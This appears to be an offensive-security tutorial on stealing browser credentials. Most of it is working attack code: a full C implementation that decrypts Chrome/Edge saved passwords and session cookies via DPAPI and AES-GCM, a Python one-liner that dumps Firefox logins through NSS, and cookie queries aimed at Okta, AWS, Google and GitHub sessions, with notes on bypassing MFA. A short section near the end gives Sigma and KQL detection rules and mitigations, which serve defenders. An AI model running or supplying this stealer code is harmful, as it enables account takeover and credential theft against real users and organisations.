Browser Credential Theft
Extracting saved passwords and session cookies from Chrome, Firefox, and Edge: SQLite login databases, DPAPI AES-256-GCM decryption, NSS library credential extraction, session cookie hijacking for SSO bypass, and the full infostealer architecture used by commodity malware families like Redline and Vidar.
You have code execution as the target user — no admin, no SYSTEM. LSASS is protected, domain creds aren't in scope. But the user saves every password in Chrome and Edge. Their Okta session cookie is active. Their AWS console is open. Stealing the browser's credential database and session cookies gives you: every saved password (SaaS apps, internal portals, dev tools), active SSO sessions without knowing the password, and potentially cloud access keys stored in browser localStorage. No admin required — the DPAPI encryption key is tied to the user's login session, and you're running as that user.
Chrome Credential Storage Architecture
Chrome Decryption — Full C Implementation
// Full Chrome password decryptor
// Dependencies: SQLite3 (static link), Windows BCrypt, Crypt32
// No admin required — runs as current user
#include <windows.h>
#include <wincrypt.h>
#include <bcrypt.h>
#include <sqlite3.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
// Step 1: Extract AES-256 key from Local State (DPAPI-protected)
BOOL GetChromeAESKey(BYTE* keyOut, DWORD* keyLen) {
wchar_t path[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, path);
wcscat(path, L"\\Google\\Chrome\\User Data\\Local State");
// Read entire JSON file
HANDLE hF = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hF == INVALID_HANDLE_VALUE) return FALSE;
DWORD fSize = GetFileSize(hF, NULL);
BYTE* jsonBuf = (char*)malloc(fSize + 1);
DWORD r; ReadFile(hF, jsonBuf, fSize, &r, NULL); jsonBuf[fSize] = 0;
CloseHandle(hF);
// Parse "encrypted_key":"<base64>" from JSON (simple string search)
const char* tag = "\"encrypted_key\":\"";
char* pos = strstr((char*)jsonBuf, tag);
if (!pos) { free(jsonBuf); return FALSE; }
pos += strlen(tag);
char b64[512] = {0};
char* end = strchr(pos, '"');
strncpy(b64, pos, end - pos);
free(jsonBuf);
// Base64 decode the encrypted key
BYTE encKey[384]; DWORD encKeyLen = sizeof(encKey);
CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, encKey, &encKeyLen, NULL, NULL);
// Strip "DPAPI" prefix (5 bytes): encKey+5, encKeyLen-5
DATA_BLOB input = { encKeyLen - 5, encKey + 5 };
DATA_BLOB output = {0};
if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output))
return FALSE;
memcpy(keyOut, output.pbData, output.cbData);
*keyLen = output.cbData;
LocalFree(output.pbData);
return TRUE;
}
// Step 2: AES-256-GCM decrypt one password blob
BOOL DecryptV10Password(BYTE* blob, DWORD blobLen, BYTE* aesKey,
BYTE* plainOut, DWORD* plainLen) {
if (blobLen < 31 || memcmp(blob, "v10", 3) != 0) return FALSE;
BYTE* nonce = blob + 3; // 12 bytes
BYTE* ciphertext = blob + 15; // variable
DWORD cipherLen = blobLen - 3 - 12 - 16;
BYTE* tag = blob + blobLen - 16;
BCRYPT_ALG_HANDLE hAlg;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCRYPT_KEY_HANDLE hKey;
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, aesKey, 32, 0);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = nonce; authInfo.cbNonce = 12;
authInfo.pbTag = tag; authInfo.cbTag = 16;
authInfo.dwFlags = BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG;
ULONG outLen;
NTSTATUS s = BCryptDecrypt(hKey, ciphertext, cipherLen, &authInfo,
NULL, 0, plainOut, cipherLen, &outLen, 0);
plainOut[outLen] = 0;
*plainLen = outLen;
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return NT_SUCCESS(s);
}
// Step 3: Walk Login Data SQLite and print credentials
void DumpChromePasswords() {
BYTE aesKey[32]; DWORD keyLen;
if (!GetChromeAESKey(aesKey, &keyLen)) return;
wchar_t dbPath[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, dbPath);
wcscat(dbPath, L"\\Google\\Chrome\\User Data\\Default\\Login Data");
// SQLite is locked while Chrome runs — copy to temp first
wchar_t tmpPath[MAX_PATH];
GetTempPathW(MAX_PATH, tmpPath);
wcscat(tmpPath, L"\\ld_copy.db");
CopyFileW(dbPath, tmpPath, FALSE);
sqlite3* db;
if (sqlite3_open16(tmpPath, &db) != SQLITE_OK) return;
sqlite3_stmt* stmt;
sqlite3_prepare_v2(db,
"SELECT origin_url, username_value, password_value FROM logins",
-1, &stmt, NULL);
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char* url = (const char*)sqlite3_column_text(stmt, 0);
const char* user = (const char*)sqlite3_column_text(stmt, 1);
BYTE* blob = (void*)sqlite3_column_blob(stmt, 2);
DWORD blen = sqlite3_column_bytes(stmt, 2);
BYTE plain[2048]; DWORD plen;
if (DecryptV10Password(blob, blen, aesKey, plain, &plen))
printf("URL: %s | User: %s | Pass: %s\n", url, user, plain);
}
sqlite3_finalize(stmt);
sqlite3_close(db);
DeleteFileW(tmpPath);
}
Firefox — NSS Library Decryption
# Firefox uses Mozilla's NSS (Network Security Services) for credential encryption.
# Passwords stored in: %APPDATA%\Mozilla\Firefox\Profiles\\logins.json
# Key database: key4.db (SQLite), or key3.db (legacy BerkeleyDB)
# Encryption: PBE-based using NSS3.dll — 3DES-CBC or AES-256-CBC + master password
# Tool approach (no NSS reinvention):
# Firefox Master Password = "" (default) → trivially bypassed
# When master password = "": PBE key derived from empty string → decryptable
# Automated extraction (Python — leverages NSS DLL directly):
python3 -c "
import ctypes, json, os, sqlite3
nss = ctypes.CDLL('C:/Program Files/Mozilla Firefox/nss3.dll')
profile = os.path.expanduser('~') + r'/AppData/Roaming/Mozilla/Firefox/Profiles'
profile = [os.path.join(profile, d) for d in os.listdir(profile) if 'default' in d][0]
nss.NSS_Init(profile.encode())
nss.PK11SDR_Decrypt.restype = ctypes.c_int
# Read logins.json
with open(os.path.join(profile, 'logins.json')) as f:
logins = json.load(f)['logins']
class SECItem(ctypes.Structure):
_fields_ = [('type', ctypes.c_uint), ('data', ctypes.c_char_p), ('len', ctypes.c_uint)]
import base64
for login in logins:
for field in ['encryptedUsername', 'encryptedPassword']:
enc = base64.b64decode(login[field])
inp = SECItem(0, enc, len(enc))
out = SECItem(0, None, 0)
if nss.PK11SDR_Decrypt(ctypes.byref(inp), ctypes.byref(out), None) == 0:
print(login['hostname'], field, ctypes.string_at(out.data, out.len).decode())
"
Browser Credential Locations
| Browser | Login Database | Key Location | Encryption |
|---|---|---|---|
| Chrome | %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data | Local State: os_crypt.encrypted_key | AES-256-GCM (DPAPI-wrapped key) |
| Microsoft Edge | %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data | Local State: os_crypt.encrypted_key | Identical to Chrome (same Chromium base) |
| Brave | %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\Login Data | Same pattern as Chrome | Same as Chrome |
| Opera | %APPDATA%\Opera Software\Opera Stable\Login Data | Same Chromium pattern | Same as Chrome |
| Firefox | %APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json | key4.db in same profile dir | NSS PBE + 3DES-CBC / AES-256-CBC |
Session Cookie Theft and SSO Bypass
// Chrome session cookies: same SQLite pattern
// File: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
// Table: cookies
// Columns: host_key, name, value, encrypted_value
// encrypted_value uses same v10/AES-256-GCM scheme as passwords
void DumpChromeCookies(BYTE* aesKey) {
// Copy Cookies DB (locked by Chrome when running)
wchar_t dbPath[MAX_PATH], tmpPath[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, dbPath);
wcscat(dbPath, L"\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
GetTempPathW(MAX_PATH, tmpPath); wcscat(tmpPath, L"\\ck_copy.db");
CopyFileW(dbPath, tmpPath, FALSE);
sqlite3* db; sqlite3_open16(tmpPath, &db);
sqlite3_stmt* stmt;
sqlite3_prepare_v2(db,
"SELECT host_key, name, encrypted_value FROM cookies "
"WHERE host_key LIKE '%.okta.%' OR host_key LIKE '%.google.%' "
" OR host_key LIKE '%.amazon.%' OR host_key LIKE '%.github.%'",
-1, &stmt, NULL);
while (sqlite3_step(stmt) == SQLITE_ROW) {
const char* host = (const char*)sqlite3_column_text(stmt, 0);
const char* name = (const char*)sqlite3_column_text(stmt, 1);
BYTE* blob = (void*)sqlite3_column_blob(stmt, 2);
DWORD blen = sqlite3_column_bytes(stmt, 2);
BYTE plain[4096]; DWORD plen;
if (DecryptV10Password(blob, blen, aesKey, plain, &plen))
printf("Set-Cookie: %s=%s; Domain=%s\n", name, plain, host);
}
sqlite3_finalize(stmt); sqlite3_close(db);
DeleteFileW(tmpPath);
}
// Session cookie use: import into Burp/browser to hijack active sessions
// Target high-value cookies:
// .okta.com: sid=... → full Okta SSO access (controls AD + all apps)
// accounts.google.com: SID, HSID, SSID → Google Workspace
// .github.com: user_session=... → all repos
// .aws.amazon.com: aws-creds=... → AWS console session
// Cookie theft bypasses MFA — session is already authenticated
Infostealer Architecture Pattern
Detection Engineering
-- Sigma: browser credential database accessed by non-browser process
title: Suspicious Access to Browser Login Database
logsource:
product: windows
category: file_access
detection:
selection:
TargetFilename|contains:
- '\Google\Chrome\User Data\Default\Login Data'
- '\Microsoft\Edge\User Data\Default\Login Data'
- '\Mozilla\Firefox\Profiles\'
TargetFilename|endswith:
- '\Login Data'
- 'logins.json'
- '\Cookies'
filter_browser:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
condition: selection AND NOT filter_browser
level: high
-- Sigma: CryptUnprotectData called by unexpected process (DPAPI credential access)
title: DPAPI CryptUnprotectData for Browser Key (MDE BehaviorEvent)
-- Best detected via MDE BrowserCredentialAccessEvent or DeviceEvents
-- TargetProcessFileName = chrome.exe accessed by non-chrome process
-- MDE KQL: browser credential file copy to temp
DeviceFileEvents
| where FileName in~ ("Login Data", "Cookies", "logins.json", "key4.db")
| where FolderPath !contains InitiatingProcessFolderPath
| where InitiatingProcessFileName !in~ ("chrome.exe", "msedge.exe", "firefox.exe",
"brave.exe", "opera.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
Q&A
Does stealing Chrome cookies still work if the user has MFA on their accounts?
Yes — this is the fundamental problem with cookie-based session management. When a user completes MFA and authenticates to a web application, the server issues a session cookie (e.g., sid=... for Okta, user_session=... for GitHub) that represents an already-authenticated session. The cookie contains a reference to the server-side session state, which includes the fact that MFA was completed. When you steal that cookie and replay it in a new browser, the server sees a valid authenticated session token — the MFA was already done, and the session is valid. From the server's perspective, this is indistinguishable from the legitimate user browsing from a new tab. This attack bypasses MFA entirely because MFA happens at login time, not at request time. Mitigations: device binding (session tied to client certificate installed in the browser — an attacker with just the cookie but not the cert gets rejected), IP binding (sessions invalidated on IP change — fragile and breaks legitimate roaming), short session lifetimes (force re-authentication every hour — cookies expire before they can be stolen and used), and browser-bound session tokens (Chrome's DBSC proposal — binds session keys to a TPM-resident private key, making cookie export useless). As of 2024, most enterprise SaaS applications do not implement device binding, making session cookie theft the highest-ROI post-exploitation credential access technique available.